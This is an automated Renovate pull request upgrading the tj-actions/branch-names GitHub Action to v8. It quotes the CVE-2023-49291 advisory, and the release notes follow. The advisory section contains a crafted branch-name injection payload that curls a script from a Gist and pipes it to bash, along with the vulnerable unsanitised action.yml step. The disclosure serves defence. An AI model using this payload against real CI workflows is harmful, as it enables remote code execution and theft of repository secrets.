chore(deps): update tj-actions/branch-names action to v8 [security] - autoclosed

[renovate]

This PR contains the following updates:

Package	Type	Update	Change
tj-actions/branch-names	action	major	v7 -> v8

GitHub Vulnerability Alerts

CVE-2023-49291

Summary

The tj-actions/branch-names GitHub Actions references the github.event.pull_request.head.ref and github.head_ref context variables within a GitHub Actions run step. The head ref variable is the branch name and can be used to execute arbitrary code using a specially crafted branch name.

Details

The vulnerable code is within the action.yml file the run step references the value directly, instead of a sanitized variable.

runs:
  using: "composite"
  steps:
    - id: branch
      run: |
        # "Set branch names..."
        if [[ "${{ github.ref }}" != "refs/tags/"* ]]; then
          BASE_REF=$(printf "%q" "${{ github.event.pull_request.base.ref || github.base_ref }}")
          HEAD_REF=$(printf "%q" "${{ github.event.pull_request.head.ref || github.head_ref }}")
          REF=$(printf "%q" "${{ github.ref }}")

An attacker can use a branch name to inject arbitrary code, for example: Test")${IFS}&&${IFS}{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/72511291630c7f95f0d8ffabb3c80fbf/raw/inject.sh}${IFS}|${IFS}bash&&echo${IFS}$("foo will download and run a script from a Gist. This allows an attacker to inject a payload of arbitrary complexity.

Impact

An attacker can use this vulnerability to steal secrets from or abuse GITHUB_TOKEN permissions.

Reference

• https://securitylab.github.com/research/github-actions-untrusted-input

---

Release Notes

tj-actions/branch-names (tj-actions/branch-names)

v8

Compare Source

Changes in v8.0.1

What's Changed

• Upgraded to v8 by @​tj-actions-bot in https://github.com/tj-actions/branch-names/pull/275
• chore(deps): update github/codeql-action action to v3 by @​renovate in https://github.com/tj-actions/branch-names/pull/276
• chore(deps): update tj-actions/verify-changed-files action to v17 by @​renovate in https://github.com/tj-actions/branch-names/pull/277
• Updated README.md by @​tj-actions-bot in https://github.com/tj-actions/branch-names/pull/278
• Bump peter-evans/create-pull-request from 5 to 6 by @​dependabot in https://github.com/tj-actions/branch-names/pull/279
• chore(deps): update tj-actions/verify-changed-files action to v18 by @​renovate in https://github.com/tj-actions/branch-names/pull/281
• chore: update test.yml by @​jackton1 in https://github.com/tj-actions/branch-names/pull/282

Full Changelog: tj-actions/branch-names@v8...v8.0.1

---

Changes in v8.0.0

Major version to prevent errors with dependabot upgrades.

What's Changed

• Upgraded to v7.0.7 by @​tj-actions-bot in https://github.com/tj-actions/branch-names/pull/273
• chore: Create SECURITY.md by @​jackton1 in https://github.com/tj-actions/branch-names/pull/274

Full Changelog: tj-actions/branch-names@v7...v8.0.0

---

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.